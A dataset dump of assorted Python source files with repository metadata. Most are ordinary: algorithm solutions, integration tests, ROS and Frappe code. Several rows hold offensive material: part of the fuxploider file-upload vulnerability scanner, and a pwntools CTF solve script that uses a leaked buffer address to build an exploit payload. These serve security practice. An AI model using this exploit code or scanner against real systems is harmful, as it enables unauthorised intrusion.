hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
7d52463945b4d1486bcf0ff3e1b5cca83be7f820
12,615
py
Python
fuxploider-master/UploadForm.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
fuxploider-master/UploadForm.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
fuxploider-master/UploadForm.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
import re import os import logging import sys import tempfile import concurrent.futures from threading import Lock from urllib.parse import urljoin, urlparse from bs4 import BeautifulSoup from utils import * class UploadForm: def __init__(self, notRegex, trueRegex, session, size, postData, uplo...
42.762712
137
0.568292
adc3181d99da1f38731c1585a05be0348a854b5d
544
py
Python
0-notes/job-search/Cracking the Coding Interview/C05BitManipulation/questions/5.8-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C05BitManipulation/questions/5.8-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C05BitManipulation/questions/5.8-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
# 5.8 Draw Line # A monochrome screen is stored as a single array of bytes, allowing eight consecutive # pixels to be stored in one byte. # The screen has width w, where w is divisible by 8. # That is, no byte will be split across rows. # The height of the screen, of course, can be derived from the length of the...
30.222222
86
0.707721
adc517cf2e0c2cac0f95aadb82361dc3b5791e5f
227
py
Python
1773-count-items-matching-a-rule/1773-count-items-matching-a-rule.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
2
2021-12-05T14:29:06.000Z
2022-01-01T05:46:13.000Z
1773-count-items-matching-a-rule/1773-count-items-matching-a-rule.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
1773-count-items-matching-a-rule/1773-count-items-matching-a-rule.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
class Solution: def countMatches(self, items: List[List[str]], ruleKey: str, ruleValue: str) -> int: rule = {"type":0, "color":1, "name":2} return sum([1 for item in items if item[rule[ruleKey]]==ruleValue])
56.75
88
0.629956
70f7433c1efeb722897fd06bd91c2f929311c1fe
2,394
py
Python
Packs/Malware/Scripts/AppendindicatorFieldWrapper/AppendindicatorFieldWrapper_test.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
2
2021-12-06T21:38:24.000Z
2022-01-13T08:23:36.000Z
Packs/Malware/Scripts/AppendindicatorFieldWrapper/AppendindicatorFieldWrapper_test.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
61
2021-10-07T08:54:38.000Z
2022-03-31T10:25:35.000Z
Packs/Malware/Scripts/AppendindicatorFieldWrapper/AppendindicatorFieldWrapper_test.py
henry-sue-pa/content
043c6badfb4f9c80673cad9242fdea72efe301f7
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
import demistomock as demisto import pytest def test_run_append_indicator_field_script(mocker): """ Given: - A list of Indicators values. - A list of tags to append to the given indicators. When: Running the 'run_append_indicator_field_script' function. Then: Verify tha...
39.9
120
0.662072
cb2b3464d68fbdd0c05cc1cd4990ec16ad8fb1fd
318
py
Python
Packs/JsonWhoIs/Integrations/JsonWhoIs/JsonWhoIs_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/JsonWhoIs/Integrations/JsonWhoIs/JsonWhoIs_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/JsonWhoIs/Integrations/JsonWhoIs/JsonWhoIs_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import pytest from JsonWhoIs import whois, DemistoException def test_whois_error(requests_mock): return_value = {'error': 'an error'} requests_mock.get('https://jsonwhois.com/api/v1/whois?domain=domain', json=return_value) with pytest.raises(DemistoException, match='an error'): whois('domain')
28.909091
92
0.735849
69f267541104306fa506c04bb53e27cac4f2f79e
6,240
py
Python
project/api/event/resources.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
1
2021-06-01T14:49:18.000Z
2021-06-01T14:49:18.000Z
project/api/event/resources.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
286
2020-12-04T14:13:00.000Z
2022-03-09T19:05:16.000Z
project/api/event/resources.py
DanielGrams/gsevpt
a92f71694388e227e65ed1b24446246ee688d00e
[ "MIT" ]
null
null
null
from flask import make_response, request from flask_apispec import doc, marshal_with, use_kwargs from sqlalchemy import and_ from sqlalchemy.orm import lazyload, load_only from project import db from project.access import ( access_or_401, can_read_event_or_401, can_read_private_events, login_api_user, ...
32
88
0.692628
2abc0fa7079d6a7d1bad9f0d40c43aedbbe2866f
2,102
py
Python
src/main/python/cluster/json_viewer.py
gwdgithubnom/ox-patient
cddf4fe381cb4506db8e0d62803dd2044cf7ad92
[ "MIT" ]
null
null
null
src/main/python/cluster/json_viewer.py
gwdgithubnom/ox-patient
cddf4fe381cb4506db8e0d62803dd2044cf7ad92
[ "MIT" ]
null
null
null
src/main/python/cluster/json_viewer.py
gwdgithubnom/ox-patient
cddf4fe381cb4506db8e0d62803dd2044cf7ad92
[ "MIT" ]
1
2021-04-14T00:45:38.000Z
2021-04-14T00:45:38.000Z
import json import numpy from context import resource_manager class ClusterViwer(object): """ https://my.oschina.net/pangyangyang/blog/200329 用于配置ClusterViewer的Json视图 """ def __init__(self,name='undefine',type='cluster',large='true',symbol='circle',symbolSize=12,label...
30.028571
133
0.406755
2d826f8293c69037d0cc678487a5c1e03fa3a29e
134
py
Python
PYTHON/Regex_and_Parsing/split.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Regex_and_Parsing/split.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Regex_and_Parsing/split.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys import re if __name__ == '__main__': print('\n'.join(filter(None, re.split('[,.]', input()))))
19.142857
61
0.619403
2db626a6d83a94acbd81a28a3da9d42961e52aeb
1,741
py
Python
shuffler.py
pintman/badgeprinter
c8030624a3f2cd33bf8e0b041175e0257eabf815
[ "MIT" ]
2
2017-11-28T11:04:03.000Z
2021-07-27T21:10:09.000Z
shuffler.py
pintman/badgeprinter
c8030624a3f2cd33bf8e0b041175e0257eabf815
[ "MIT" ]
1
2017-07-01T12:14:47.000Z
2017-07-09T11:00:37.000Z
shuffler.py
pintman/badgeprinter
c8030624a3f2cd33bf8e0b041175e0257eabf815
[ "MIT" ]
1
2017-01-16T16:01:57.000Z
2017-01-16T16:01:57.000Z
#!/usr/bin/env python # -'''- coding: utf-8 -'''- import sys import subprocess from PySide.QtCore import * from PySide.QtGui import * from PySide.QtDeclarative import * import PIL import PIL.Image import sqlite3 import random from time import sleep class MyHandler(QObject): def __init__(self, window, *arg...
28.540984
70
0.651924
fa8e6336b281dffabd1e278da424c6ee789258d5
969
py
Python
pwn/NotThatSimple/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
pwn/NotThatSimple/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
pwn/NotThatSimple/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
from pwn import * import re context.arch = 'amd64' e = ELF("./src/notsimple") if args.REMOTE: p = remote(args.HOST, int(args.PORT)) else: p = process("./src/notsimple") NUM_TO_RET = 0x50 + 8 p.recvuntil(b"Oops, I'm leaking! ") bufaddr = int(p.recvline(),16) log.success(f"Address of buffer: {hex(bufaddr)}") p....
34.607143
102
0.667699
fad2a679546d126da7624c8d134372276d346d62
345
py
Python
exercises/fr/solution_02_10_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/fr/solution_02_10_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/fr/solution_02_10_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy nlp = spacy.load("fr_core_news_md") doc = nlp("C'était un super restaurant. Ensuite nous sommes allés dans un bar vraiment sympa.") # Crée des spans pour "super restaurant" et "bar vraiment sympa" span1 = doc[3:5] span2 = doc[12:15] # Obtiens la similarité entre les spans similarity = span1.similarity(...
24.642857
95
0.750725
fafd4bcb18284d49eb7f295c85abb8638dc9ed99
2,017
py
Python
tests/onegov/org/test_collections.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/org/test_collections.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/org/test_collections.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from datetime import timedelta import pytest from pytz import UTC from sedate import utcnow, to_timezone from onegov.directory import DirectoryCollection, DirectoryConfiguration from onegov.org.models.directory import ExtendedDirectoryEntryCollection @pytest.mark.parametrize('start_offset,end_offset,is_published', ...
30.560606
72
0.686663
359c14e8ef008caf744efc99877cd89a5c60928c
1,764
py
Python
lintcode/000-Trapping-Rain-Water-II/TrappingRainWaterII_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2015-12-16T04:01:03.000Z
2015-12-16T04:01:03.000Z
lintcode/000-Trapping-Rain-Water-II/TrappingRainWaterII_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
lintcode/000-Trapping-Rain-Water-II/TrappingRainWaterII_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
import heapq class Solution: # @param heights: a matrix of integers # @return: an integer def trapRainWater(self, heights): # write your code here n = len(heights) if n < 3: return 0 m = len(heights[0]) if m < 3: return 0 hp = self....
30.413793
67
0.449546
ea1cf2b80c4555c0107a8b633814908ecf2ba02b
413
py
Python
packages/watchmen-data-kernel/src/watchmen_data_kernel/common/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/common/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/common/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from .exception import DataKernelException from .settings import ask_all_date_formats, ask_cache_enabled, ask_cache_heart_beat_enabled, \ ask_cache_heart_beat_interval, ask_date_formats, ask_datetime_formats, ask_encrypt_aes_params, \ ask_full_datetime_formats, ask_ignore_default_on_raw, ask_replace_topic_to_storage,...
68.833333
112
0.891041
57c0a45c663b23f46babd771367cae97e338260c
345
py
Python
autojail/commands/__init__.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
6
2020-08-12T08:16:15.000Z
2022-03-05T02:25:53.000Z
autojail/commands/__init__.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-03-30T10:34:51.000Z
2021-06-09T11:24:00.000Z
autojail/commands/__init__.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-11-21T09:30:58.000Z
2021-11-21T09:30:58.000Z
from .config import ConfigCommand from .explore import ExploreCommand from .extract import ExtractCommand from .generate import GenerateCommand from .init import InitCommand from .test import TestCommand __all__ = [ "InitCommand", "ExtractCommand", "GenerateCommand", "ConfigCommand", "TestCommand",...
21.5625
37
0.750725
dc248de4faeb9fedb5cd7bf151056c6b0d0dab22
943
py
Python
frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_examination_to_assessment.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:55:29.000Z
2021-04-29T14:55:29.000Z
frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_examination_to_assessment.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_examination_to_assessment.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:39:01.000Z
2021-04-29T14:39:01.000Z
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe from frappe.model.utils.rename_field import rename_field def execute(): if frappe.db.exists("DocType", "Examination"): frappe.rena...
39.291667
81
0.747614
875457b9cd280f5c701665d38634f75666c15e5d
1,253
py
Python
leetcode/327-Count-of-Range-Sum/CountofRangeSum_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2017-05-18T06:11:02.000Z
2017-05-18T06:11:02.000Z
leetcode/327-Count-of-Range-Sum/CountofRangeSum_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/327-Count-of-Range-Sum/CountofRangeSum_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution(object): def countRangeSum(self, nums, lower, upper): """ :type nums: List[int] :type lower: int :type upper: int :rtype: int """ for i in range(1, len(nums)): nums[i] += nums[i - 1] sort = [0] res = 0 for i ...
25.571429
48
0.304868
21a58c52cb020dea84828ccb9127906a2770b119
1,536
py
Python
zd_download.py
mikepkes/ZendeskHelpers
c24254b2f895fe653249edc64315f9e6e1f45e9b
[ "MIT" ]
2
2018-03-05T19:25:17.000Z
2018-08-20T13:15:49.000Z
zd_download.py
mikepkes/ZendeskHelpers
c24254b2f895fe653249edc64315f9e6e1f45e9b
[ "MIT" ]
null
null
null
zd_download.py
mikepkes/ZendeskHelpers
c24254b2f895fe653249edc64315f9e6e1f45e9b
[ "MIT" ]
null
null
null
#!/usr/bin/python # encoding: utf-8 import os import string import sys import workflow import tempfile import subprocess def getAppleScript(browser="Google Chrome"): template = """ on run argv tell application "%s" set result to execute front window's active tab javascript " ...
24.774194
117
0.57487
df255954858dd2c91c327cb9ff9fd975649a01d7
2,272
py
Python
examples/v1beta1/trial-images/darts-cnn-cifar10/search_space.py
d-gol/katib
2c8758b26ffd543e08b70464f8ac7b286f3ca2ea
[ "Apache-2.0" ]
17
2018-04-04T08:44:06.000Z
2018-04-19T18:02:05.000Z
examples/v1beta1/trial-images/darts-cnn-cifar10/search_space.py
d-gol/katib
2c8758b26ffd543e08b70464f8ac7b286f3ca2ea
[ "Apache-2.0" ]
58
2018-04-03T19:05:50.000Z
2018-04-19T16:14:04.000Z
examples/v1beta1/trial-images/darts-cnn-cifar10/search_space.py
d-gol/katib
2c8758b26ffd543e08b70464f8ac7b286f3ca2ea
[ "Apache-2.0" ]
10
2018-04-04T02:06:20.000Z
2018-04-19T08:53:04.000Z
# Copyright 2022 The Kubeflow Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
34.953846
92
0.618838
1d5196c5f7f5cd76dcd130cdfdbef6827330c7f8
853
py
Python
nodes/kap06/talker.py
ProfJust/Ruhr-TurtleBot-Competition-RTC-
5c2425bee331b4d5033757a9425676932d111775
[ "Unlicense", "MIT" ]
null
null
null
nodes/kap06/talker.py
ProfJust/Ruhr-TurtleBot-Competition-RTC-
5c2425bee331b4d5033757a9425676932d111775
[ "Unlicense", "MIT" ]
null
null
null
nodes/kap06/talker.py
ProfJust/Ruhr-TurtleBot-Competition-RTC-
5c2425bee331b4d5033757a9425676932d111775
[ "Unlicense", "MIT" ]
null
null
null
#!/usr/bin/env python3 # --- talker.py ------ # Version vom 18.10.2021 by OJ # ----------------------------- import rospy # Standard Bibliothek für ROS mit Python from std_msgs.msg import String # vordefinierte Message def talker(): # Publisher wirt vereinbart message name, typ, .. pub = rospy.Publisher('rt...
28.433333
63
0.606096
d56123e04f48e394eb6fc9b563351123d3359d5d
12,399
py
Python
AP_SS16/US2/PythonSkript.py
DimensionalScoop/kautschuk
90403f97cd60b9716cb6a06668196891d5d96578
[ "MIT" ]
3
2016-04-27T17:07:00.000Z
2022-02-02T15:43:15.000Z
AP_SS16/US2/PythonSkript.py
DimensionalScoop/kautschuk
90403f97cd60b9716cb6a06668196891d5d96578
[ "MIT" ]
5
2016-04-27T17:10:03.000Z
2017-06-20T14:54:20.000Z
AP_SS16/US2/PythonSkript.py
DimensionalScoop/kautschuk
90403f97cd60b9716cb6a06668196891d5d96578
[ "MIT" ]
null
null
null
##################################################### Import system libraries ###################################################### import matplotlib as mpl mpl.rcdefaults() mpl.rcParams.update(mpl.rc_params_from_file('meine-matplotlibrc')) import matplotlib.pyplot as plt import numpy as np import scipy.constants as c...
37.801829
162
0.596096
d5692a79973acdc7448c0d10232e678e16c16673
1,686
py
Python
retro/scripts/import_path.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
2,706
2018-04-05T18:28:50.000Z
2022-03-29T16:56:59.000Z
retro/scripts/import_path.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
242
2018-04-05T22:30:42.000Z
2022-03-19T01:55:11.000Z
retro/scripts/import_path.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
464
2018-04-05T19:10:34.000Z
2022-03-28T13:33:32.000Z
#!/usr/bin/env python import retro.data import os import sys import zipfile def _check_zipfile(f, process_f): with zipfile.ZipFile(f) as zf: for entry in zf.infolist(): _root, ext = os.path.splitext(entry.filename) with zf.open(entry) as innerf: if ext == ".zip": ...
28.576271
77
0.517794
638f957efa20f1f09eabbe14e9eafa624055c8dc
3,510
py
Python
connect/graph_service.py
slaurianodev/msgraph
617e5e7d890a06757ef38871d9ddecfac2852c84
[ "MIT" ]
null
null
null
connect/graph_service.py
slaurianodev/msgraph
617e5e7d890a06757ef38871d9ddecfac2852c84
[ "MIT" ]
null
null
null
connect/graph_service.py
slaurianodev/msgraph
617e5e7d890a06757ef38871d9ddecfac2852c84
[ "MIT" ]
null
null
null
# Copyright (c) Microsoft. All rights reserved. Licensed under the MIT license. # See LICENSE in the project root for license information. import requests import uuid import json from connect.data import get_email_text # The base URL for the Microsoft Graph API. graph_api_endpoint = 'https://graph.microsoft.com/v1.0{...
32.201835
126
0.571795
8957b0f09063e45e39a6fc5f45cb9543944a4fc6
1,816
py
Python
utils/cache.py
nebulousdog/catcobralizard
0be598b9e76addbe25684ca60aa5ae324cc42183
[ "MIT" ]
null
null
null
utils/cache.py
nebulousdog/catcobralizard
0be598b9e76addbe25684ca60aa5ae324cc42183
[ "MIT" ]
null
null
null
utils/cache.py
nebulousdog/catcobralizard
0be598b9e76addbe25684ca60aa5ae324cc42183
[ "MIT" ]
null
null
null
""" Cache your token and save droplet info to reference without additional queries. """ import os.path import json import requests from utils.requests import headers def retrieve_token(): """check if have a saved Digital Ocean API token, or retreive one.""" token_file_name = 'DIGITALOCEAN_TOKEN' if os.p...
29.290323
94
0.664097
9868fa100791f52c3ed78d12c801c80859c9bf0c
34,284
py
Python
plugins/TwitterPush.py
lonelyion/TweetToBot-Docker
ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278
[ "MIT" ]
null
null
null
plugins/TwitterPush.py
lonelyion/TweetToBot-Docker
ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278
[ "MIT" ]
null
null
null
plugins/TwitterPush.py
lonelyion/TweetToBot-Docker
ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278
[ "MIT" ]
null
null
null
from pluginsinterface.PluginLoader import on_message, Session, on_preprocessor, on_plugloaded from pluginsinterface.PluginLoader import PlugMsgReturn, plugRegistered, PlugMsgTypeEnum, PluginsManage from pluginsinterface.PluginLoader import PlugArgFilter from pluginsinterface.PluginLoader import SendMessage from module...
31.832869
103
0.531268
f6bd67e8eb41ef50e863e98b28a54582e17dac0e
523
py
Python
tests/web.adblockplus.org/data/dataLanguages.py
adblockplus/web.adblockplus.org
c2c570ce4f4296afc3577afe233c6b23b128f206
[ "MIT" ]
9
2016-01-29T18:05:29.000Z
2021-10-06T04:21:55.000Z
tests/web.adblockplus.org/data/dataLanguages.py
adblockplus/web.adblockplus.org
c2c570ce4f4296afc3577afe233c6b23b128f206
[ "MIT" ]
9
2015-04-06T19:03:32.000Z
2019-05-28T13:34:55.000Z
tests/web.adblockplus.org/data/dataLanguages.py
adblockplus/web.adblockplus.org
c2c570ce4f4296afc3577afe233c6b23b128f206
[ "MIT" ]
18
2015-04-06T17:42:31.000Z
2021-10-06T04:26:29.000Z
TEST_DATA = [( 'DE', 'HOL DIR ADBLOCK PLUS FÜR CHROME' ), ( 'US', 'GET ADBLOCK PLUS FOR CHROME' ), ( 'ES', 'OBTÉN ADBLOCK PLUS PARA CHROME' ), ( 'FR', 'OBTENEZ ADBLOCK PLUS POUR CHROME' ), ( 'IT', 'OTTIENI ADBLOCK PLUS PER CHROME' ), ( 'NL', 'DOWNL...
17.433333
41
0.506692
122a78e2881195e8c0e9bc3f6dd9bf5b62f01356
14,093
py
Python
tools/HTML-to-C-strings.py
Blayzeing/robo-pad
cbf6e1bae70847e66827ee0cda05a87cb71a485d
[ "MIT" ]
3
2019-10-25T02:02:11.000Z
2019-11-08T11:39:12.000Z
tools/HTML-to-C-strings.py
Blayzeing/robo-pad
cbf6e1bae70847e66827ee0cda05a87cb71a485d
[ "MIT" ]
17
2019-10-24T02:49:10.000Z
2021-03-16T14:34:00.000Z
tools/HTML-to-C-strings.py
Blayzeing/robo-pad
cbf6e1bae70847e66827ee0cda05a87cb71a485d
[ "MIT" ]
4
2019-10-25T02:03:16.000Z
2019-11-08T15:13:16.000Z
# This is a basic script that takes a folder of HTML files and produces a C header file containing the HTML file. # It's a bit hacky, but it makes sense for the first version of RoboPad. ## TODO # 1. Removal of comments (but HTML and JS) # 2. Variable and function name compression (JS only; shorten variables down to a...
49.276224
206
0.619953
147bf09909de726473b12ea752cd3b314c18994d
2,123
py
Python
tests/test_preis.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
tests/test_preis.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
tests/test_preis.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
from decimal import Decimal import pytest # type:ignore[import] from bo4e.com.preis import Preis, PreisSchema from bo4e.enum.mengeneinheit import Mengeneinheit from bo4e.enum.preisstatus import Preisstatus from bo4e.enum.waehrungseinheit import Waehrungseinheit example_preis = Preis(wert=Decimal(12.5), einheit=Waeh...
33.698413
102
0.701366
1480f8f5b0fd3234fdff0c6d065aa21b9f30000d
849
py
Python
migrations/versions/51c47c7f0bdb_.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
1
2021-06-01T14:49:18.000Z
2021-06-01T14:49:18.000Z
migrations/versions/51c47c7f0bdb_.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
286
2020-12-04T14:13:00.000Z
2022-03-09T19:05:16.000Z
migrations/versions/51c47c7f0bdb_.py
DanielGrams/gsevpt
a92f71694388e227e65ed1b24446246ee688d00e
[ "MIT" ]
null
null
null
"""empty message Revision ID: 51c47c7f0bdb Revises: 7afc40e11791 Create Date: 2020-09-29 15:38:44.033998 """ import sqlalchemy as sa from alembic import op # revision identifiers, used by Alembic. revision = "51c47c7f0bdb" down_revision = "7afc40e11791" branch_labels = None depends_on = None def upgrade(): # #...
26.53125
88
0.693757
0d44e3f8852a394de8d3045b3b8c3d499df816c9
621
py
Python
elements/python/12/7/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
11
2019-02-08T06:54:34.000Z
2021-08-07T18:57:39.000Z
elements/python/12/7/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
1
2019-05-21T08:14:10.000Z
2019-05-21T08:14:10.000Z
elements/python/12/7/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
null
null
null
import random import math def sqrt(x, tolerance=0.0000001): """ Find a value r with r*r within tolerance of x. """ l = 0.0 r = float(x) while r-l > tolerance: m = l + 0.5*(r-l) s = m*m if s < x: l = m else: r = m return l def test(...
16.342105
50
0.504026
2e9c86f81ac33b5314e420cd6a15e7e82ea8c004
115
py
Python
pwn/pwn-boring-flag-runner/src/getprog.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
2
2021-08-09T17:08:12.000Z
2021-08-09T17:08:17.000Z
pwn/pwn-boring-flag-runner/src/getprog.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
pwn/pwn-boring-flag-runner/src/getprog.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
1
2021-10-09T16:51:56.000Z
2021-10-09T16:51:56.000Z
import sys prog = input("enter your program: ").encode("latin-1") open(f"{sys.argv[1]}", "wb").write(prog[:4000])
23
54
0.643478
d3b00b10e30cbc9112a2cf1aaf7ac708e1c8992f
595
py
Python
src/Sephrasto/MousewheelProtector.py
qeqar/Sephrasto
ce46d46299b2c793f015e25c98908773c39b1dee
[ "MIT" ]
15
2017-11-09T12:49:52.000Z
2022-03-06T12:18:48.000Z
src/Sephrasto/MousewheelProtector.py
qeqar/Sephrasto
ce46d46299b2c793f015e25c98908773c39b1dee
[ "MIT" ]
40
2018-02-01T21:32:01.000Z
2022-03-22T11:35:28.000Z
src/Sephrasto/MousewheelProtector.py
qeqar/Sephrasto
ce46d46299b2c793f015e25c98908773c39b1dee
[ "MIT" ]
13
2018-03-12T17:50:42.000Z
2022-03-06T12:21:41.000Z
